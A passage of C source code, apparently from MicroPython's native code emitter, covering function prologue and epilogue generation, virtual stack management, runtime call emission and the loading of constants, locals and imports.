REG_LOCAL_NUM);\n            }\n        }\n        #else\n        for (int i = 0; i < scope->num_pos_args; i++) {\n            if (i == 0) {\n                ASM_MOV_REG_REG(emit->as, REG_LOCAL_1, REG_ARG_1);\n            } else if (i == 1) {\n                ASM_MOV_REG_REG(emit->as, REG_LOCAL_2, REG_ARG_2);\n            } else if (i == 2) {\n                ASM_MOV_REG_REG(emit->as, REG_LOCAL_3, REG_ARG_3);\n            } else {\n                assert(i == 3); // should be true; max 4 args is checked above\n                ASM_MOV_REG_TO_LOCAL(emit->as, REG_ARG_4, i - REG_LOCAL_NUM);\n            }\n        }\n        #endif\n\n    } else {\n        // work out size of state (locals plus stack)\n        emit->n_state = scope->num_locals + scope->stack_size;\n\n        // allocate space on C-stack for code_state structure, which includes state\n        ASM_ENTRY(emit->as, STATE_START + emit->n_state);\n\n        // TODO don't load r7 if we don't need it\n        #if N_THUMB\n        asm_thumb_mov_reg_i32(emit->as, ASM_THUMB_REG_R7, (mp_uint_t)mp_fun_table);\n        #elif N_ARM\n        asm_arm_mov_reg_i32(emit->as, ASM_ARM_REG_R7, (mp_uint_t)mp_fun_table);\n        #endif\n\n        // prepare incoming arguments for call to mp_setup_code_state\n\n        #if N_X86\n        asm_x86_mov_arg_to_r32(emit->as, 0, REG_ARG_1);\n        asm_x86_mov_arg_to_r32(emit->as, 1, REG_ARG_2);\n        asm_x86_mov_arg_to_r32(emit->as, 2, REG_ARG_3);\n        asm_x86_mov_arg_to_r32(emit->as, 3, REG_ARG_4);\n        #endif\n\n        // set code_state.fun_bc\n        ASM_MOV_REG_TO_LOCAL(emit->as, REG_ARG_1, offsetof(mp_code_state_t, fun_bc) / sizeof(uintptr_t));\n\n        // set code_state.ip (offset from start of this function to prelude info)\n        // XXX this encoding may change size\n        ASM_MOV_IMM_TO_LOCAL_USING(emit->as, emit->prelude_offset, offsetof(mp_code_state_t, ip) / sizeof(uintptr_t), REG_ARG_1);\n\n        // put address of code_state into first arg\n        ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, 0, REG_ARG_1);\n\n        // call mp_setup_code_state to prepare code_state structure\n        #if N_THUMB\n        asm_thumb_bl_ind(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE, ASM_THUMB_REG_R4);\n        #elif N_ARM\n        asm_arm_bl_ind(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE, ASM_ARM_REG_R4);\n        #else\n        ASM_CALL_IND(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE);\n        #endif\n\n        // cache some locals in registers\n        if (scope->num_locals > 0) {\n            ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 0, REG_LOCAL_1);\n            if (scope->num_locals > 1) {\n                ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 1, REG_LOCAL_2);\n                if (scope->num_locals > 2) {\n                    ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 2, REG_LOCAL_3);\n                }\n            }\n        }\n\n        // set the type of closed over variables\n        for (mp_uint_t i = 0; i < scope->id_info_len; i++) {\n            id_info_t *id = &scope->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL) {\n                emit->local_vtype[id->local_num] = VTYPE_PYOBJ;\n            }\n        }\n    }\n\n}\n\nSTATIC void emit_native_end_pass(emit_t *emit) {\n    if (!emit->last_emit_was_return_value) {\n        ASM_EXIT(emit->as);\n    }\n\n    if (!emit->do_viper_types) {\n        emit->prelude_offset = mp_asm_base_get_code_pos(&emit->as->base);\n        mp_asm_base_data(&emit->as->base, 1, 0x80 | ((emit->n_state >> 7) & 0x7f));\n        mp_asm_base_data(&emit->as->base, 1, emit->n_state & 0x7f);\n        mp_asm_base_data(&emit->as->base, 1, 0); // n_exc_stack\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->scope_flags);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->num_pos_args);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->num_kwonly_args);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->num_def_pos_args);\n\n        // write code info\n        #if MICROPY_PERSISTENT_CODE\n        mp_asm_base_data(&emit->as->base, 1, 5);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->simple_name);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->simple_name >> 8);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->source_file);\n        mp_asm_base_data(&emit->as->base, 1, emit->scope->source_file >> 8);\n        #else\n        mp_asm_base_data(&emit->as->base, 1, 1);\n        #endif\n\n        // bytecode prelude: initialise closed over variables\n        for (int i = 0; i < emit->scope->id_info_len; i++) {\n            id_info_t *id = &emit->scope->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL) {\n                assert(id->local_num < 255);\n                mp_asm_base_data(&emit->as->base, 1, id->local_num); // write the local which should be converted to a cell\n            }\n        }\n        mp_asm_base_data(&emit->as->base, 1, 255); // end of list sentinel\n\n        mp_asm_base_align(&emit->as->base, ASM_WORD_SIZE);\n        emit->const_table_offset = mp_asm_base_get_code_pos(&emit->as->base);\n\n        // write argument names as qstr objects\n        // see comment in corresponding part of emitbc.c about the logic here\n        for (int i = 0; i < emit->scope->num_pos_args + emit->scope->num_kwonly_args; i++) {\n            qstr qst = MP_QSTR__star_;\n            for (int j = 0; j < emit->scope->id_info_len; ++j) {\n                id_info_t *id = &emit->scope->id_info[j];\n                if ((id->flags & ID_FLAG_IS_PARAM) && id->local_num == i) {\n                    qst = id->qst;\n                    break;\n                }\n            }\n            mp_asm_base_data(&emit->as->base, ASM_WORD_SIZE, (mp_uint_t)MP_OBJ_NEW_QSTR(qst));\n        }\n\n    }\n\n    ASM_END_PASS(emit->as);\n\n    // check stack is back to zero size\n    assert(emit->stack_size == 0);\n\n    if (emit->pass == MP_PASS_EMIT) {\n        void *f = mp_asm_base_get_code(&emit->as->base);\n        mp_uint_t f_len = mp_asm_base_get_code_size(&emit->as->base);\n\n        // compute type signature\n        // note that the lower 4 bits of a vtype are tho correct MP_NATIVE_TYPE_xxx\n        mp_uint_t type_sig = emit->return_vtype & 0xf;\n        for (mp_uint_t i = 0; i < emit->scope->num_pos_args; i++) {\n            type_sig |= (emit->local_vtype[i] & 0xf) << (i * 4 + 4);\n        }\n\n        mp_emit_glue_assign_native(emit->scope->raw_code,\n            emit->do_viper_types ? MP_CODE_NATIVE_VIPER : MP_CODE_NATIVE_PY,\n            f, f_len, (mp_uint_t*)((byte*)f + emit->const_table_offset),\n            emit->scope->num_pos_args, emit->scope->scope_flags, type_sig);\n    }\n}\n\nSTATIC bool emit_native_last_emit_was_return_value(emit_t *emit) {\n    return emit->last_emit_was_return_value;\n}\n\nSTATIC void adjust_stack(emit_t *emit, mp_int_t stack_size_delta) {\n    assert((mp_int_t)emit->stack_size + stack_size_delta >= 0);\n    emit->stack_size += stack_size_delta;\n    if (emit->pass > MP_PASS_SCOPE && emit->stack_size > emit->scope->stack_size) {\n        emit->scope->stack_size = emit->stack_size;\n    }\n#ifdef DEBUG_PRINT\n    DEBUG_printf(\"  adjust_stack; stack_size=%d+%d; stack now:\", emit->stack_size - stack_size_delta, stack_size_delta);\n    for (int i = 0; i < emit->stack_size; i++) {\n        stack_info_t *si = &emit->stack_info[i];\n        DEBUG_printf(\" (v=%d k=%d %d)\", si->vtype, si->kind, si->data.u_reg);\n    }\n    DEBUG_printf(\"\\n\");\n#endif\n}\n\nSTATIC void emit_native_adjust_stack_size(emit_t *emit, mp_int_t delta) {\n    DEBUG_printf(\"adjust_stack_size(\" INT_FMT \")\\n\", delta);\n    // If we are adjusting the stack in a positive direction (pushing) then we\n    // need to fill in values for the stack kind and vtype of the newly-pushed\n    // entries.  These should be set to \"value\" (ie not reg or imm) because we\n    // should only need to adjust the stack due to a jump to this part in the\n    // code (and hence we have settled the stack before the jump).\n    for (mp_int_t i = 0; i < delta; i++) {\n        stack_info_t *si = &emit->stack_info[emit->stack_size + i];\n        si->kind = STACK_VALUE;\n        // TODO we don't know the vtype to use here.  At the moment this is a\n        // hack to get the case of multi comparison working.\n        if (delta == 1) {\n            si->vtype = emit->saved_stack_vtype;\n        } else {\n            si->vtype = VTYPE_PYOBJ;\n        }\n    }\n    adjust_stack(emit, delta);\n}\n\nSTATIC void emit_native_set_source_line(emit_t *emit, mp_uint_t source_line) {\n    (void)emit;\n    (void)source_line;\n}\n\n// this must be called at start of emit functions\nSTATIC void emit_native_pre(emit_t *emit) {\n    emit->last_emit_was_return_value = false;\n}\n\n// depth==0 is top, depth==1 is before top, etc\nSTATIC stack_info_t *peek_stack(emit_t *emit, mp_uint_t depth) {\n    return &emit->stack_info[emit->stack_size - 1 - depth];\n}\n\n// depth==0 is top, depth==1 is before top, etc\nSTATIC vtype_kind_t peek_vtype(emit_t *emit, mp_uint_t depth) {\n    return peek_stack(emit, depth)->vtype;\n}\n\n// pos=1 is TOS, pos=2 is next, etc\n// use pos=0 for no skipping\nSTATIC void need_reg_single(emit_t *emit, int reg_needed, int skip_stack_pos) {\n    skip_stack_pos = emit->stack_size - skip_stack_pos;\n    for (int i = 0; i < emit->stack_size; i++) {\n        if (i != skip_stack_pos) {\n            stack_info_t *si = &emit->stack_info[i];\n            if (si->kind == STACK_REG && si->data.u_reg == reg_needed) {\n                si->kind = STACK_VALUE;\n                ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i);\n            }\n        }\n    }\n}\n\nSTATIC void need_reg_all(emit_t *emit) {\n    for (int i = 0; i < emit->stack_size; i++) {\n        stack_info_t *si = &emit->stack_info[i];\n        if (si->kind == STACK_REG) {\n            si->kind = STACK_VALUE;\n            ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i);\n        }\n    }\n}\n\nSTATIC void need_stack_settled(emit_t *emit) {\n    DEBUG_printf(\"  need_stack_settled; stack_size=%d\\n\", emit->stack_size);\n    for (int i = 0; i < emit->stack_size; i++) {\n        stack_info_t *si = &emit->stack_info[i];\n        if (si->kind == STACK_REG) {\n            DEBUG_printf(\"    reg(%u) to local(%u)\\n\", si->data.u_reg, emit->stack_start + i);\n            si->kind = STACK_VALUE;\n            ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i);\n        }\n    }\n    for (int i = 0; i < emit->stack_size; i++) {\n        stack_info_t *si = &emit->stack_info[i];\n        if (si->kind == STACK_IMM) {\n            DEBUG_printf(\"    imm(\" INT_FMT \") to local(%u)\\n\", si->data.u_imm, emit->stack_start + i);\n            si->kind = STACK_VALUE;\n            ASM_MOV_IMM_TO_LOCAL_USING(emit->as, si->data.u_imm, emit->stack_start + i, REG_TEMP0);\n        }\n    }\n}\n\n// pos=1 is TOS, pos=2 is next, etc\nSTATIC void emit_access_stack(emit_t *emit, int pos, vtype_kind_t *vtype, int reg_dest) {\n    need_reg_single(emit, reg_dest, pos);\n    stack_info_t *si = &emit->stack_info[emit->stack_size - pos];\n    *vtype = si->vtype;\n    switch (si->kind) {\n        case STACK_VALUE:\n            ASM_MOV_LOCAL_TO_REG(emit->as, emit->stack_start + emit->stack_size - pos, reg_dest);\n            break;\n\n        case STACK_REG:\n            if (si->data.u_reg != reg_dest) {\n                ASM_MOV_REG_REG(emit->as, reg_dest, si->data.u_reg);\n            }\n            break;\n\n        case STACK_IMM:\n            ASM_MOV_IMM_TO_REG(emit->as, si->data.u_imm, reg_dest);\n            break;\n    }\n}\n\n// does an efficient X=pop(); discard(); push(X)\n// needs a (non-temp) register in case the poped element was stored in the stack\nSTATIC void emit_fold_stack_top(emit_t *emit, int reg_dest) {\n    stack_info_t *si = &emit->stack_info[emit->stack_size - 2];\n    si[0] = si[1];\n    if (si->kind == STACK_VALUE) {\n        // if folded element was on the stack we need to put it in a register\n        ASM_MOV_LOCAL_TO_REG(emit->as, emit->stack_start + emit->stack_size - 1, reg_dest);\n        si->kind = STACK_REG;\n        si->data.u_reg = reg_dest;\n    }\n    adjust_stack(emit, -1);\n}\n\n// If stacked value is in a register and the register is not r1 or r2, then\n// *reg_dest is set to that register.  Otherwise the value is put in *reg_dest.\nSTATIC void emit_pre_pop_reg_flexible(emit_t *emit, vtype_kind_t *vtype, int *reg_dest, int not_r1, int not_r2) {\n    emit->last_emit_was_return_value = false;\n    stack_info_t *si = peek_stack(emit, 0);\n    if (si->kind == STACK_REG && si->data.u_reg != not_r1 && si->data.u_reg != not_r2) {\n        *vtype = si->vtype;\n        *reg_dest = si->data.u_reg;\n        need_reg_single(emit, *reg_dest, 1);\n    } else {\n        emit_access_stack(emit, 1, vtype, *reg_dest);\n    }\n    adjust_stack(emit, -1);\n}\n\nSTATIC void emit_pre_pop_discard(emit_t *emit) {\n    emit->last_emit_was_return_value = false;\n    adjust_stack(emit, -1);\n}\n\nSTATIC void emit_pre_pop_reg(emit_t *emit, vtype_kind_t *vtype, int reg_dest) {\n    emit->last_emit_was_return_value = false;\n    emit_access_stack(emit, 1, vtype, reg_dest);\n    adjust_stack(emit, -1);\n}\n\nSTATIC void emit_pre_pop_reg_reg(emit_t *emit, vtype_kind_t *vtypea, int rega, vtype_kind_t *vtypeb, int regb) {\n    emit_pre_pop_reg(emit, vtypea, rega);\n    emit_pre_pop_reg(emit, vtypeb, regb);\n}\n\nSTATIC void emit_pre_pop_reg_reg_reg(emit_t *emit, vtype_kind_t *vtypea, int rega, vtype_kind_t *vtypeb, int regb, vtype_kind_t *vtypec, int regc) {\n    emit_pre_pop_reg(emit, vtypea, rega);\n    emit_pre_pop_reg(emit, vtypeb, regb);\n    emit_pre_pop_reg(emit, vtypec, regc);\n}\n\nSTATIC void emit_post(emit_t *emit) {\n    (void)emit;\n}\n\nSTATIC void emit_post_top_set_vtype(emit_t *emit, vtype_kind_t new_vtype) {\n    stack_info_t *si = &emit->stack_info[emit->stack_size - 1];\n    si->vtype = new_vtype;\n}\n\nSTATIC void emit_post_push_reg(emit_t *emit, vtype_kind_t vtype, int reg) {\n    stack_info_t *si = &emit->stack_info[emit->stack_size];\n    si->vtype = vtype;\n    si->kind = STACK_REG;\n    si->data.u_reg = reg;\n    adjust_stack(emit, 1);\n}\n\nSTATIC void emit_post_push_imm(emit_t *emit, vtype_kind_t vtype, mp_int_t imm) {\n    stack_info_t *si = &emit->stack_info[emit->stack_size];\n    si->vtype = vtype;\n    si->kind = STACK_IMM;\n    si->data.u_imm = imm;\n    adjust_stack(emit, 1);\n}\n\nSTATIC void emit_post_push_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb) {\n    emit_post_push_reg(emit, vtypea, rega);\n    emit_post_push_reg(emit, vtypeb, regb);\n}\n\nSTATIC void emit_post_push_reg_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb, vtype_kind_t vtypec, int regc) {\n    emit_post_push_reg(emit, vtypea, rega);\n    emit_post_push_reg(emit, vtypeb, regb);\n    emit_post_push_reg(emit, vtypec, regc);\n}\n\nSTATIC void emit_post_push_reg_reg_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb, vtype_kind_t vtypec, int regc, vtype_kind_t vtyped, int regd) {\n    emit_post_push_reg(emit, vtypea, rega);\n    emit_post_push_reg(emit, vtypeb, regb);\n    emit_post_push_reg(emit, vtypec, regc);\n    emit_post_push_reg(emit, vtyped, regd);\n}\n\nSTATIC void emit_call(emit_t *emit, mp_fun_kind_t fun_kind) {\n    need_reg_all(emit);\n    ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind);\n}\n\nSTATIC void emit_call_with_imm_arg(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val, int arg_reg) {\n    need_reg_all(emit);\n    ASM_MOV_IMM_TO_REG(emit->as, arg_val, arg_reg);\n    ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind);\n}\n\n// the first arg is stored in the code aligned on a mp_uint_t boundary\nSTATIC void emit_call_with_imm_arg_aligned(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val, int arg_reg) {\n    need_reg_all(emit);\n    ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, arg_val, arg_reg);\n    ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind);\n}\n\nSTATIC void emit_call_with_2_imm_args(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val1, int arg_reg1, mp_int_t arg_val2, int arg_reg2) {\n    need_reg_all(emit);\n    ASM_MOV_IMM_TO_REG(emit->as, arg_val1, arg_reg1);\n    ASM_MOV_IMM_TO_REG(emit->as, arg_val2, arg_reg2);\n    ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind);\n}\n\n// the first arg is stored in the code aligned on a mp_uint_t boundary\nSTATIC void emit_call_with_3_imm_args_and_first_aligned(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val1, int arg_reg1, mp_int_t arg_val2, int arg_reg2, mp_int_t arg_val3, int arg_reg3) {\n    need_reg_all(emit);\n    ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, arg_val1, arg_reg1);\n    ASM_MOV_IMM_TO_REG(emit->as, arg_val2, arg_reg2);\n    ASM_MOV_IMM_TO_REG(emit->as, arg_val3, arg_reg3);\n    ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind);\n}\n\n// vtype of all n_pop objects is VTYPE_PYOBJ\n// Will convert any items that are not VTYPE_PYOBJ to this type and put them back on the stack.\n// If any conversions of non-immediate values are needed, then it uses REG_ARG_1, REG_ARG_2 and REG_RET.\n// Otherwise, it does not use any temporary registers (but may use reg_dest before loading it with stack pointer).\nSTATIC void emit_get_stack_pointer_to_reg_for_pop(emit_t *emit, mp_uint_t reg_dest, mp_uint_t n_pop) {\n    need_reg_all(emit);\n\n    // First, store any immediate values to their respective place on the stack.\n    for (mp_uint_t i = 0; i < n_pop; i++) {\n        stack_info_t *si = &emit->stack_info[emit->stack_size - 1 - i];\n        // must push any imm's to stack\n        // must convert them to VTYPE_PYOBJ for viper code\n        if (si->kind == STACK_IMM) {\n            si->kind = STACK_VALUE;\n            switch (si->vtype) {\n                case VTYPE_PYOBJ:\n                    ASM_MOV_IMM_TO_LOCAL_USING(emit->as, si->data.u_imm, emit->stack_start + emit->stack_size - 1 - i, reg_dest);\n                    break;\n                case VTYPE_BOOL:\n                    if (si->data.u_imm == 0) {\n                        ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (mp_uint_t)mp_const_false, emit->stack_start + emit->stack_size - 1 - i, reg_dest);\n                    } else {\n                        ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (mp_uint_t)mp_const_true, emit->stack_start + emit->stack_size - 1 - i, reg_dest);\n                    }\n                    si->vtype = VTYPE_PYOBJ;\n                    break;\n                case VTYPE_INT:\n                case VTYPE_UINT:\n                    ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (uintptr_t)MP_OBJ_NEW_SMALL_INT(si->data.u_imm), emit->stack_start + emit->stack_size - 1 - i, reg_dest);\n                    si->vtype = VTYPE_PYOBJ;\n                    break;\n                default:\n                    // not handled\n                    mp_raise_NotImplementedError(\"conversion to object\");\n            }\n        }\n\n        // verify that this value is on the stack\n        assert(si->kind == STACK_VALUE);\n    }\n\n    // Second, convert any non-VTYPE_PYOBJ to that type.\n    for (mp_uint_t i = 0; i < n_pop; i++) {\n        stack_info_t *si = &emit->stack_info[emit->stack_size - 1 - i];\n        if (si->vtype != VTYPE_PYOBJ) {\n            mp_uint_t local_num = emit->stack_start + emit->stack_size - 1 - i;\n            ASM_MOV_LOCAL_TO_REG(emit->as, local_num, REG_ARG_1);\n            emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, si->vtype, REG_ARG_2); // arg2 = type\n            ASM_MOV_REG_TO_LOCAL(emit->as, REG_RET, local_num);\n            si->vtype = VTYPE_PYOBJ;\n            DEBUG_printf(\"  convert_native_to_obj(local_num=\" UINT_FMT \")\\n\", local_num);\n        }\n    }\n\n    // Adujust the stack for a pop of n_pop items, and load the stack pointer into reg_dest.\n    adjust_stack(emit, -n_pop);\n    ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, emit->stack_start + emit->stack_size, reg_dest);\n}\n\n// vtype of all n_push objects is VTYPE_PYOBJ\nSTATIC void emit_get_stack_pointer_to_reg_for_push(emit_t *emit, mp_uint_t reg_dest, mp_uint_t n_push) {\n    need_reg_all(emit);\n    for (mp_uint_t i = 0; i < n_push; i++) {\n        emit->stack_info[emit->stack_size + i].kind = STACK_VALUE;\n        emit->stack_info[emit->stack_size + i].vtype = VTYPE_PYOBJ;\n    }\n    ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, emit->stack_start + emit->stack_size, reg_dest);\n    adjust_stack(emit, n_push);\n}\n\nSTATIC void emit_native_label_assign(emit_t *emit, mp_uint_t l) {\n    DEBUG_printf(\"label_assign(\" UINT_FMT \")\\n\", l);\n    emit_native_pre(emit);\n    // need to commit stack because we can jump here from elsewhere\n    need_stack_settled(emit);\n    mp_asm_base_label_assign(&emit->as->base, l);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_import_name(emit_t *emit, qstr qst) {\n    DEBUG_printf(\"import_name %s\\n\", qstr_str(qst));\n\n    // get arguments from stack: arg2 = fromlist, arg3 = level\n    // if using viper types these arguments must be converted to proper objects\n    if (emit->do_viper_types) {\n        // fromlist should be None or a tuple\n        stack_info_t *top = peek_stack(emit, 0);\n        if (top->vtype == VTYPE_PTR_NONE) {\n            emit_pre_pop_discard(emit);\n            ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)mp_const_none, REG_ARG_2);\n        } else {\n            vtype_kind_t vtype_fromlist;\n            emit_pre_pop_reg(emit, &vtype_fromlist, REG_ARG_2);\n            assert(vtype_fromlist == VTYPE_PYOBJ);\n        }\n\n        // level argument should be an immediate integer\n        top = peek_stack(emit, 0);\n        assert(top->vtype == VTYPE_INT && top->kind == STACK_IMM);\n        ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)MP_OBJ_NEW_SMALL_INT(top->data.u_imm), REG_ARG_3);\n        emit_pre_pop_discard(emit);\n\n    } else {\n        vtype_kind_t vtype_fromlist;\n        vtype_kind_t vtype_level;\n        emit_pre_pop_reg_reg(emit, &vtype_fromlist, REG_ARG_2, &vtype_level, REG_ARG_3);\n        assert(vtype_fromlist == VTYPE_PYOBJ);\n        assert(vtype_level == VTYPE_PYOBJ);\n    }\n\n    emit_call_with_imm_arg(emit, MP_F_IMPORT_NAME, qst, REG_ARG_1); // arg1 = import name\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_import_from(emit_t *emit, qstr qst) {\n    DEBUG_printf(\"import_from %s\\n\", qstr_str(qst));\n    emit_native_pre(emit);\n    vtype_kind_t vtype_module;\n    emit_access_stack(emit, 1, &vtype_module, REG_ARG_1); // arg1 = module\n    assert(vtype_module == VTYPE_PYOBJ);\n    emit_call_with_imm_arg(emit, MP_F_IMPORT_FROM, qst, REG_ARG_2); // arg2 = import name\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_import_star(emit_t *emit) {\n    DEBUG_printf(\"import_star\\n\");\n    vtype_kind_t vtype_module;\n    emit_pre_pop_reg(emit, &vtype_module, REG_ARG_1); // arg1 = module\n    assert(vtype_module == VTYPE_PYOBJ);\n    emit_call(emit, MP_F_IMPORT_ALL);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_load_const_tok(emit_t *emit, mp_token_kind_t tok) {\n    DEBUG_printf(\"load_const_tok(tok=%u)\\n\", tok);\n    emit_native_pre(emit);\n    vtype_kind_t vtype;\n    mp_uint_t val;\n    if (emit->do_viper_types) {\n        switch (tok) {\n            case MP_TOKEN_KW_NONE: vtype = VTYPE_PTR_NONE; val = 0; break;\n            case MP_TOKEN_KW_FALSE: vtype = VTYPE_BOOL; val = 0; break;\n            case MP_TOKEN_KW_TRUE: vtype = VTYPE_BOOL; val = 1; break;\n            default:\n                assert(tok == MP_TOKEN_ELLIPSIS);\n                vtype = VTYPE_PYOBJ; val = (mp_uint_t)&mp_const_ellipsis_obj; break;\n        }\n    } else {\n        vtype = VTYPE_PYOBJ;\n        switch (tok) {\n            case MP_TOKEN_KW_NONE: val = (mp_uint_t)mp_const_none; break;\n            case MP_TOKEN_KW_FALSE: val = (mp_uint_t)mp_const_false; break;\n            case MP_TOKEN_KW_TRUE: val = (mp_uint_t)mp_const_true; break;\n            default:\n                assert(tok == MP_TOKEN_ELLIPSIS);\n                val = (mp_uint_t)&mp_const_ellipsis_obj; break;\n        }\n    }\n    emit_post_push_imm(emit, vtype, val);\n}\n\nSTATIC void emit_native_load_const_small_int(emit_t *emit, mp_int_t arg) {\n    DEBUG_printf(\"load_const_small_int(int=\" INT_FMT \")\\n\", arg);\n    emit_native_pre(emit);\n    if (emit->do_viper_types) {\n        emit_post_push_imm(emit, VTYPE_INT, arg);\n    } else {\n        emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)MP_OBJ_NEW_SMALL_INT(arg));\n    }\n}\n\nSTATIC void emit_native_load_const_str(emit_t *emit, qstr qst) {\n    emit_native_pre(emit);\n    // TODO: Eventually we want to be able to work with raw pointers in viper to\n    // do native array access.  For now we just load them as any other object.\n    /*\n    if (emit->do_viper_types) {\n        // load a pointer to the asciiz string?\n        emit_post_push_imm(emit, VTYPE_PTR, (mp_uint_t)qstr_str(qst));\n    } else\n    */\n    {\n        emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)MP_OBJ_NEW_QSTR(qst));\n    }\n}\n\nSTATIC void emit_native_load_const_obj(emit_t *emit, mp_obj_t obj) {\n    emit_native_pre(emit);\n    need_reg_single(emit, REG_RET, 0);\n    ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, (mp_uint_t)obj, REG_RET);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_load_null(emit_t *emit) {\n    emit_native_pre(emit);\n    emit_post_push_imm(emit, VTYPE_PYOBJ, 0);\n}\n\nSTATIC void emit_native_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    DEBUG_printf(\"load_fast(%s, \" UINT_FMT \")\\n\", qstr_str(qst), local_num);\n    vtype_kind_t vtype = emit->local_vtype[local_num];\n    if (vtype == VTYPE_UNBOUND) {\n        EMIT_NATIVE_VIPER_TYPE_ERROR(emit, \"local '%q' used before type known\", qst);\n    }\n    emit_native_pre(emit);\n    if (local_num == 0) {\n        emit_post_push_reg(emit, vtype, REG_LOCAL_1);\n    } else if (local_num == 1) {\n        emit_post_push_reg(emit, vtype, REG_LOCAL_2);\n    } else if (local_num == 2) {\n        emit_post_push_reg(emit, vtype, REG_LOCAL_3);\n    } else {\n        need_reg_single(emit, REG_TEMP0, 0);\n        if (emit->do_viper_types) {\n            ASM_MOV_LOCAL_TO_REG(emit->as, local_num - REG_LOCAL_NUM, REG_TEMP0);\n        } else {\n            ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - local_num, REG_TEMP0);\n        }\n        emit_post_push_reg(emit, vtype, REG_TEMP0);\n    }\n}\n\nSTATIC void emit_native_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    DEBUG_printf(\"load_deref(%s, \" UINT_FMT \")\\n\", qstr_str(qst), local_num);\n    need_reg_single(emit, REG_RET, 0);\n    emit_native_load_fast(emit, qst, local_num);\n    vtype_kind_t vtype;\n    int reg_base = REG_RET;\n    emit_pre_pop_reg_flexible(emit, &vtype, &reg_base, -1, -1);\n    ASM_LOAD_REG_REG_OFFSET(emit->as, REG_RET, reg_base, 1);\n    // closed over vars are always Python objects\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_load_name(emit_t *emit, qstr qst) {\n    DEBUG_printf(\"load_name(%s)\\n\", qstr_str(qst));\n    emit_native_pre(emit);\n    emit_call_with_imm_arg(emit, MP_F_LOAD_NAME, qst, REG_ARG_1);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_load_global(emit_t *emit, qstr qst) {\n    DEBUG_printf(\"load_global(%s)\\n\", qstr_str(qst));\n    emit_native_pre(emit);\n    // check for builtin casting operators\n    if (emit->do_viper_types && qst == MP_QSTR_int) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_INT);\n    } else if (emit->do_viper_types && qst == MP_QSTR_uint) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_UINT);\n    } else if (emit->do_viper_types && qst == MP_QSTR_ptr) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR);\n    } else if (emit->do_viper_types && qst == MP_QSTR_ptr8) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR8);\n    } else if (emit->do_viper_types && qst == MP_QSTR_ptr16) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR16);\n    } else if (emit->do_viper_types && qst == MP_QSTR_ptr32) {\n        emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR32);\n    } else {\n        emit_call_with_imm_arg(emit, MP_F_LOAD_GLOBAL, qst, REG_ARG_1);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    }\n}\n\nSTATIC void emit_native_load_attr(emit_t *emit, qstr qst) {\n    // depends on type of subject:\n    //  - integer, 